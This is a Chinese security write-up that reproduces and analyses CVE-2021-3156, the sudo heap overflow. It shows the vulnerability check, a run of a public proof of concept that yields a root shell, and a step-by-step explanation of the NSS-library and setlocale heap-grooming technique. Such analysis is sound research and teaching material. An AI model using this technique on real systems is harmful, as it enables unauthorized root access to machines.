文章首发于安全客

CVE-2021-3156 sudo heap-based bufoverflow 复现&分析

CVE-2021-3156sudo的一个堆溢出漏洞,可以用来进行本地提权。在类uninx中非root可以使用sudo来以root的权限执行操作。由于sudo错误的转义了\\导致了一个堆溢出漏洞。

漏洞影响版本为1.8.2-1.8.31sp12, 1.9.0-1.9.5sp1sudo >=1.9.5sp2的版本则不受影响。

感谢luc师傅带我飞。

环境搭建

这里我首先使用的是docker ubuntu 20.04,查看一下sudo版本,这里需要注意的是首先需要创建一个普通权限的用户

1
2
3
4
5
6
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

执行命令sudoedit -s /如果回显

1
2
3
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# sudoedit -s /
sudoedit: /: not a regular file

则表明存在漏洞,如果回显

1
2
3
➜  work sudoedit -s /
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

则表示漏洞已经被修复

漏洞分析

首先我们使用exp先执行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# su normal
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ls
Makefile README.md hax.c lib.c libnss_X sudo-hax-me-a-sandwich
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ./sudo-hax-me-a-sandwich 1

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(normal)
# exit
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$

sudo-i,-s参数启动即MODE_SHELL,MODE_LOGIN_SHELl标志启动的时候,sudo会使用\\转义所有的元字符,并重写argc,argv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//src/parse_args.c/parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;

if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;

cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);

for (av = argv; *av != NULL; av++) {// 串联所有的命令参数字符串
for (src = *av; *src != '\\0'; src++) {
/* quote potential meta characters */
// 用\\转义所有的元字符
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\\0';

ac += 2; /* -c cmnd */
}

// 重写argc,argv
av = reallocarray(NULL, ac + 1, sizeof(char *));
if (av == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, av))
exit(1);

av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;

argv = av;
argc = ac;
}

之后会在sudoers_policy_main函数中调用set_cmnd函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//plugins/sudoers/sudoers.c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
//...
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;
//...
}

static int
set_cmnd(void)
{
//...
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

847 if (NewArgc > 1) {
848 char *to, *from, **av;
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
860 * When running a command via a shell, the sudo front-end
861 * escapes potential meta chars. We unescape non-spaces
862 * for sudoers matching and logging purposes.
863 */
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\\0';
873 } else {
874 //...
885 }
886 }
}
//...
}

从代码中我们可以看出,函数首先按照argv中参数的大小申请一块堆空间user_args,然后依次将命令行参数链接到该堆空间中。

但是如果当一个命令行参数以反斜杠结尾,即from[0]=\\,from[1]=null,就会满足866行的条件,使得from++指向null,但是之后868行执行的拷贝操作又会使得from++从而越过了null,那么接下来的while循环就会发生越界拷贝。拷贝的内容将会复制到user_args堆块中,从而发生堆溢出。

但是理论在设置了MODE_SHELL,MODE_LOGIN_SHELL的条件下任何命令行参数都不可能以\\结尾,因为其在parse_args函数中会对所有的元字符进行转义包括这个\\

但是这两个函数中的判断条件有所不同

1
2
3
4
5
6
7
//parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){}
//sudoers_policy_main
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){}
}

那么如果我们想要成功的利用堆溢出就需要在设置flags=MODE_SHELL/MODE_LOGIN_SHELL的条件下而不设置mode=MODE_RUN以避免转移代码的执行。那么根据sudoers_policy_main中的条件,我们只能设置MODE_EDIT | MODE_CHECK这两个标志位了,来看一下设置的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
	case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
case 'l':
if (mode) {
if (mode == MODE_LIST)
SET(flags, MODE_LONG_LIST);
else
usage_excl(1);
}
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;

if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;

但是如果我们设置了这两个标志位,并且设置了MODE_SHELL/MODE_LOGIN_SHELL的话,在后续会被检测到并退出

1
2
3
if ((flags & valid_flags) != flags)
usage(1);// Give usage message and exit.

但是当我们以sudoedit执行的时候

1
2
3
4
5
6
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}

这里只会设置mode = MODE_EDIT,而并不会设置valid_flags,也就不会检测退出,我们就可以正常执行到堆溢出的部分。

这个漏洞是非常友好的,因为我们可以通过控制命令行参数从而控制user_args堆块申请的大小,溢出的内容以及溢出的长度。并且攻击者可以通过以反斜杠结尾的方式实现向目标地址写0

漏洞利用

背景知识

这在进行分析之前我们首先需要了解一下localenss相关的信息。

locale是根据计算机用户所使用的语言,所在的国家和地区所定义的一个软件运行时的语言环境,通常通过环境变量进行设置,locale相关的环境变量生效的顺序如下

  1. LANGUAGE指定个人对语言环境的主次偏好,如zh_CN:en_US
  2. LC_ALL是一个可以被setlocale设置的宏,其值可以覆盖所有其他的locale设定
  3. LC_XXX详细设定locale的各个方面,可以覆盖LANG的值
  4. LANG指定默认使用的locale

LC_ALL/LANG被设置为C的时候,LANGUAGE的值将会被忽略。其命名规则如下

1
2
language[_territory[.codeset]][@modifier]

其中languageISO 639-1标准中定义的双字母的语言代码,territoryISO 3166-1标准中定义的双字母的国家和地区代码,codeset是字符集的名称 (如 UTF-8等),而 modifier 则是某些locale变体的修正符。我们可以详细的设置共12个环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> p _nl_category_names
$1 = {
str41 = "LC_COLLATE",
str67 = "LC_CTYPE",
str140 = "LC_MONETARY",
str193 = "LC_NUMERIC",
str207 = "LC_TIME",
str259 = "LC_MESSAGES",
str270 = "LC_PAPER",
str279 = "LC_NAME",
str292 = "LC_ADDRESS",
str311 = "LC_TELEPHONE",
str322 = "LC_MEASUREMENT",
str330 = "LC_IDENTIFICATION"
}

nss全称为Name Service Switch,在*nix操作系统中,nssC语言库的一部分,用来解析name,比如登陆用户的用户名以及IP地址到域名的解析。举个例子,当我们输入命令ls -alg即查看一个目录中的文件列表,对于每一个文件我们可以看到它所属的用户和用户组,但是实际上系统中只保存了用户和用户组的id,要想显示与之相关的字符这就需要nss进行解析。我们可以在配置文件/etc/nsswitch.conf中定义相关数据库的查找规范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@2c3723801aeb:/home/normal/CVE-2021-3156_blasty# cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd: files systemd
group: files systemd
shadow: files
gshadow: files

hosts: files dns
networks: files

protocols: db files
services: db files
ethers: db files
rpc: db files

netgroup: nis

对于每个可用的查找规范即service都必须有文件libnss_service.so.2与之对应,例如group数据库定义了查找规范files,那么在调用getgroup函数的时候就会调用libnss_files.so.2中的nss_lookup_function函数进行查找。因此我们可以在ubuntu中找到下面的共享库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
libnss_compat-2.31.so
libnss_compat.so
libnss_compat.so.2
libnss_dns-2.31.so
libnss_dns.so
libnss_dns.so.2
libnss_files-2.31.so
libnss_files.so
libnss_files.so.2
libnss_hesiod-2.31.so
libnss_hesiod.so
libnss_hesiod.so.2
libnss_nis-2.31.so
libnss_nis.so
libnss_nis.so.2
libnss_nisplus-2.31.so
libnss_nisplus.so
libnss_nisplus.so.2
libnss_systemd.so.2

正常情况下当sudo调用到__nss_lookup_function情况如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
In file: /root/glibc/sourceCode/glibc-2.31/nss/nsswitch.c
408 #endif
409
410
411 void *
412 __nss_lookup_function (service_user *ni, const char *fct_name)
► 413 {
414 void **found, *result;
415
416 /* We now modify global data. Protect it. */
417 __libc_lock_lock (lock);
418
───────────────────[ STACK]─────────
00:0000│ rsp 0x7fffffffe358 —▸ 0x7ffff7e3713f (internal_getgrouplist+175) ◂— test rax, rax
01:0008│ 0x7fffffffe360 ◂— 0x25b000000ae
02:0010│ 0x7fffffffe368 ◂— 0xffffff0000007d /* '}' */
03:0018│ 0x7fffffffe370 ◂— 0xffffffffffffffff
04:0020│ 0x7fffffffe378 —▸ 0x7fffffffe380 ◂— 0x1
05:0028│ 0x7fffffffe380 ◂— 0x1
06:0030│ 0x7fffffffe388 ◂— 0xc4e5bb2d41c2d00
07:0038│ 0x7fffffffe390 ◂— 0x0
───────────────────[ BACKTRACE ]─────────────────
► f 0 7ffff7e9bdf0 __nss_lookup_function
f 1 7ffff7e3713f internal_getgrouplist+175
f 2 7ffff7e373ed getgrouplist+109
f 3 7ffff7f4fe16 sudo_getgrouplist2_v1+198
f 4 7ffff7c53d63 sudo_make_gidlist_item+451
f 5 7ffff7c52b0e sudo_get_gidlist+286
f 6 7ffff7c4c86d runas_getgroups+93
f 7 7ffff7c39d32 set_perms+1650
───────────────────────────────────────────────────────────────
pwndbg> p *ni
$1 = {
next = 0x55555557fc10,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x55555557fc00 "files"
}
pwndbg> p *(ni->next)
$2 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x55555557fc40 "systemd"
}
pwndbg>

当调用getgroup函数的时候,__nss_lookup_function会依次加载files,systemd这两个service name。而这两个service name的信息是存储在堆空间中的。看一下__nss_lookup_function函数的具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
void **found, *result;

/* We now modify global data. Protect it. */
__libc_lock_lock (lock);

/* Search the tree of functions previously requested. Data in the
tree are `known_function' structures, whose first member is a
`const char *', the lookup key. The search returns a pointer to
the tree node structure; the first member of the is a pointer to
our structure (i.e. what will be a `known_function'); since the
first member of that is the lookup key string, &FCT_NAME is close
enough to a pointer to our structure to use as a lookup key that
will be passed to `known_compare' (above). */

found = __tsearch (&fct_name, &ni->known, &known_compare);
if (found == NULL)
/* This means out-of-memory. */
result = NULL;
else if (*found != &fct_name)
{
//...
}
else
{
/* This name was not known before. Now we have a node in the tree
(in the proper sorted position for FCT_NAME) that points to
&FCT_NAME instead of any real `known_function' structure.
Allocate a new structure and fill it in. */

known_function *known = malloc (sizeof *known);
if (! known)
{
//...
}
else
{
/* Point the tree node at this new structure. */
*found = known;
known->fct_name = fct_name;

#if !defined DO_STATIC_NSS || defined SHARED
/* Load the appropriate library. */
if (nss_load_library (ni) != 0)
/* This only happens when out of memory. */
goto remove_from_tree;

//...

return result;
}
libc_hidden_def (__nss_lookup_function)

在调用nss_lookup_function的时候一般fct_name是固定的字符串,所以这里我们直接进入nss_load_library函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}

if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];

/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);

ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
//...
}
# ifdef USE_NSCD
else if (is_nscd)
{
//...
}

return 0;
}
#endif

static service_library *
nss_new_service (name_database *database, const char *name)
{
service_library **currentp = &database->library;

while (*currentp != NULL)
{
if (strcmp ((*currentp)->name, name) == 0)
return *currentp;
currentp = &(*currentp)->next;
}

/* We have to add the new service. */
*currentp = (service_library *) malloc (sizeof (service_library));
if (*currentp == NULL)
return NULL;

(*currentp)->name = name;
(*currentp)->lib_handle = NULL;
(*currentp)->next = NULL;

return *currentp;
}
#endif

从代码中我们可以看出,如果ni->library=NULL,那么就会调用nss_new_service函数为其分配一个堆块,并对name,lib_handle,next赋值,完成之后进入if (ni->library->lib_handle == NULL)分支,对name进行字符串拼接,也就是libnss_+name+'.so.2',之后就会调用__libc_dlopen函数加载动态链接库。

由于niservice name结构体是分配在堆空间中的,而现在我们有存在user_args的堆溢出的漏洞,那么如果我们利用堆溢出将service name结构体的除name之外的其他成员变量全部覆写为0name覆写为x/x那么经过字符串拼接之后就会加载libnss_x/x.so.2的动态链接库,我们将getshell的代码写入_init之后编译为动态链接库即可。

接下来就是如何溢出的问题。为了防止溢出过程中覆写中间的关键结构体,user_argsservice name之间的距离要尽可能的小,最好的方法就是在service name上方人为的释放一个堆块,之后user_args再申请该堆块进行溢出。目前分析的exp是通过setlocale实现的。我们首先来看一下service_user的初始化过程

sudo.c:191会调用get_user_info函数在获取用户信息的时候需要获取用户的用户名和口令信息,这就需要到了nss服务,也就是需要调用passwd对应的服务规范。在函数中会调用根据配置文件初始化file/systemd等服务规范,调用栈如下

图片无法显示,请联系作者

其中关键的逻辑代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int
__nss_database_lookup2 (const char *database, const char *alternate_name,
const char *defconfig, service_user **ni)
{
//...
if (service_table == NULL)
/* Read config file. */
service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
//...
}
static name_database *
nss_parse_file (const char *fname)
{
//...
fp = fopen (fname, "rce");
if (fp == NULL)
return NULL;
//...
result = (name_database *) malloc (sizeof (name_database));
if (result == NULL)
{
fclose (fp);
return NULL;
}

result->entry = NULL;
result->library = NULL;
do
{
name_database_entry *this;
ssize_t n;

n = __getline (&line, &len, fp);
if (n < 0)
break;
if (line[n - 1] == '\\n')
line[n - 1] = '\\0';

/* Because the file format does not know any form of quoting we
can search forward for the next '#' character and if found
make it terminating the line. */
*__strchrnul (line, '#') = '\\0';

/* If the line is blank it is ignored. */
if (line[0] == '\\0')
continue;

/* Each line completely specifies the actions for a database. */
this = nss_getline (line);// 处理配置文件中的每一行
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;

last = this;
}
}
while (!__feof_unlocked (fp));
//...
}
static name_database_entry *
nss_getline (char *line)
{
//...
result->service = nss_parse_service_list (line);// 处理文件中该行的所有服务规范
//...
}
static service_user *
nss_parse_service_list (const char *line)// 处理每一个服务规范
{
while (1)
{
new_service = (service_user *) malloc (sizeof (service_user)
+ (line - name + 1));
// 赋值
*nextp = new_service;
nextp = &new_service->next;
continue;
}
}

当配置文件中所有的服务规范全部处理完毕之后,形成了下面的列表,其中链表头存储在libc中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> p &service_table
$52 = (name_database **) 0x7ffff7f457a8 <service_table>
pwndbg> p *service_table
$53 = {
entry = 0x5555555829d0,
library = 0x0
}
pwndbg> p *service_table->entry
$54 = {
next = 0x555555582a70,
service = 0x5555555829f0,
name = 0x5555555829e0 "passwd"
}
pwndbg> p *service_table->entry->next
$55 = {
next = 0x5555555885b0,
service = 0x555555588530,
name = 0x555555582a80 "group"
}
pwndbg> p *service_table->entry->next->service
$56 = {
next = 0x555555588570,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x555555588560 "files"
}

经过调试发现get_user_info函数中的堆块申请顺序如下

1
2
3
4
5
6
7
8
9
10
11
12
malloc(0x100)
malloc(0x400)
malloc(0x1d8)// tcache
malloc(0x10)
malloc(0x78)// 固定0x80 // 释放
malloc(0x1000)
malloc(0x17)// 以下均为固定申请,且不会释放
malloc(0x36)
malloc(0x38)
malloc(0x16)
malloc(0x36)// group files

glibc>2.27版本之上由于存在tcache,因此在申请堆块的时候会首先判断tcache中是否存在空闲的堆块。我们的目的是覆写group files堆块,从exp来看,攻击者首先是获取了free的原语,得到可以释放任意大小和数量的堆块之后进行了下面的布置。首先是20x40大小的堆块用来满足passwdservice_user的堆块的申请,然后释放一个堆块,用来满足user_args堆块的申请,然后再释放一个0x40大小的堆块用来满足group files service_user的堆块的申请。

那么在get_user_info函数初始化所有的service_user堆块之后,在之后溢出user_args的时候就可以直接溢出到group filesservice_user结构体,就可以进行加载我们自己的动态链接库getshell

free 原语

sudomain函数的起始位置sudo.c:154调用了setlocale(LC_ALL, "");函数,其中locale=""表示根据环境变量来设置localesetlocale会申请和释放大量的堆块。来看一下setlocale函数的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//setlocale(LC_ALL, "");
//glibc/locale/setlocale.c
char *
setlocale (int category, const char *locale)
{
char *locale_path;
size_t locale_path_len;
const char *locpath_var;
char *composite;

//...

if (category == LC_ALL)
{
//...

/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
// 循环查找环境变量中的LC*环境变量的值,并根据优先级顺序进行加载,环境变量的值会存储在newnames中
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);

//...
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
//setname&setdata,即为_nl_global_locale.__names数组赋值,该数组中存储有所有的环境变量的值
// 如果数组中原来存储有值,且不是默认的"C",那么会释放原有的堆块
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);// 释放所有的newnames即环境变量的值
//...

return composite;
}
else
{
//...
}
}
libc_hidden_def (setlocale)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{

if (cloc_name[0] == '\\0')// 这里获取栈中的LC_ALL变量的值
{
/* The user decides which locale to use by setting environment
variables. */
cloc_name = getenv ("LC_ALL");// 按照环境变量生效的顺序进行get
if (!name_present (cloc_name))
cloc_name = getenv (_nl_category_names_get (category));
if (!name_present (cloc_name))
cloc_name = getenv ("LANG");
if (!name_present (cloc_name))
cloc_name = _nl_C_name;
}

else if (!valid_locale_name (cloc_name))// 这里变量的值最大为255即0xff
{
__set_errno (EINVAL);
return NULL;
}

*name = cloc_name;

/* We really have to load some data. First we try the archive,
but only if there was no LOCPATH environment variable specified. */
if (__glibc_likely (locale_path == NULL))
{
struct __locale_data *data
= _nl_load_locale_from_archive (category, name);
if (__glibc_likely (data != NULL))
return data;

/* Nothing in the archive with the given name. Expanding it as
an alias and retry. */
cloc_name = _nl_expand_alias (*name);
if (cloc_name != NULL)
{
data = _nl_load_locale_from_archive (category, &cloc_name);
if (__builtin_expect (data != NULL, 1))
return data;
}

/* Nothing in the archive. Set the default path to search below. */
locale_path = _nl_default_locale_path;
locale_path_len = sizeof _nl_default_locale_path;
}
else
/* We really have to load some data. First see whether the name is
an alias. Please note that this makes it impossible to have "C"
or "POSIX" as aliases. */
cloc_name = _nl_expand_alias (*name);

if (cloc_name == NULL)
/* It is no alias. */
cloc_name = *name;

/* Make a writable copy of the locale name. */
char *loc_name = strdupa (cloc_name);

// language[_territory[.codeset]][@modifier]
// 下面将按照👆的格式一依次进行解析,normalized_codeset是小写的codeset
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
if (mask == -1)
/* Memory allocate problem. */
return NULL;

/* If exactly this locale was already asked for we have an entry with
the complete name. */
//
/*
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
*/
// 👇这个函数最为重要的是按照 👆的计算公式进行堆块的分配和释放
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names_get (category), 0);

if (locale_file == NULL)
{
/* Find status record for addressed locale file. We have to search
through all directories in the locale path. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names_get (category), 1);
if (locale_file == NULL)
/* This means we are out of core. */
return NULL;
}
//...

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
//intl/l10nflist.c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;

/* Allocate room for the full file name. */
// 这里按照环境变量进行了堆块的分配,注意到这里传入的参数do_allocate=0
// dirlist_len为0x10
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);

if (abs_filename == NULL)
return NULL;

// 这里会根据mask的值进行路径的拷贝

/* Look in list of already loaded domains whether it is already
available. */
last = NULL;
for (retval = *l10nfile_list; retval != NULL; retval = retval->next)
if (retval->filename != NULL)
{
int compare = strcmp (retval->filename, abs_filename);
if (compare == 0)
/* We found it! */
break;
if (compare < 0)
{
/* It's not in the list. */
retval = NULL;
break;
}

last = retval;
}
// 如果文件在l10nfile_list列表中,即之前已经查看过了,那么这里就直接释放abs_filename即之前申请的堆块。
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);// 这里会释放开头申请的堆块
return retval;
}
//...
// 这里通过改变mask(组合territory,codeset等通过mask控制的参数),穷举路径搜索配置文件
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;

while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
//...

return retval;
}

从上面的源码来看setlocale函数,如果传入的参数是NULL,那么就会返回_nl_global_locale.__names数组中对应的值即相应的LC_*的值。如果传入的参数是“”,那么就会根据环境变量设置_nl_global_locale.__names中的值,函数最主要的是进入了一个while循环,每次调用_nl_find_locale函数首先从环境变量中按照优先级顺序加载相应的环境变量,然后根据环境变量从/usr/lib/locale中查找有没有对应的文件,这里会根据mask的值控制加载的优先级,加载文件,如果没有对应的文件就会返回NULL

这里比如LC_COLLATE=C.UTF-8@aaaa,如果/usr/lib/locale/C.UTF-8@aaaa/LC_COLLATE文件存在的话,那么就加载这个文件,否则就加载/usr/lib/locale/C.UTF-8/LC_COLLATE文件,当然这里有很多的路径选择,不止这两个。

_nl_find_locale函数返回的为NULL的时候,while循环就会终止,此时category>0,那么这里就表明加载环境变量出现了错误,会释放之前申请的所有的newnames,也就是环境变量中的值比如C.UTF-8@aaaa

否则当while循环执行完毕之后就会将所有的_nl_global_locale.__names数组中对应的值设置为我们输入的值,然后将LC_ALL赋值

CVE-2021-3156%20sudo%20heap-based%20bufoverflow%20%E5%A4%8D%E7%8E%B0&%E5%88%86%E6%9E%90%20f65c00b177cf4be1b02b394f2a54fb87/Untitled.png

那么这里的free原语就出来了,假如我们想要设置nsize大小的堆块,那么就设置n个环境变量(这里注意顺序,环境变量从后向前开始加载),环境变量的值为C.UTF-8@len,其中len的大小满足> size-0x20 & < size-0x10

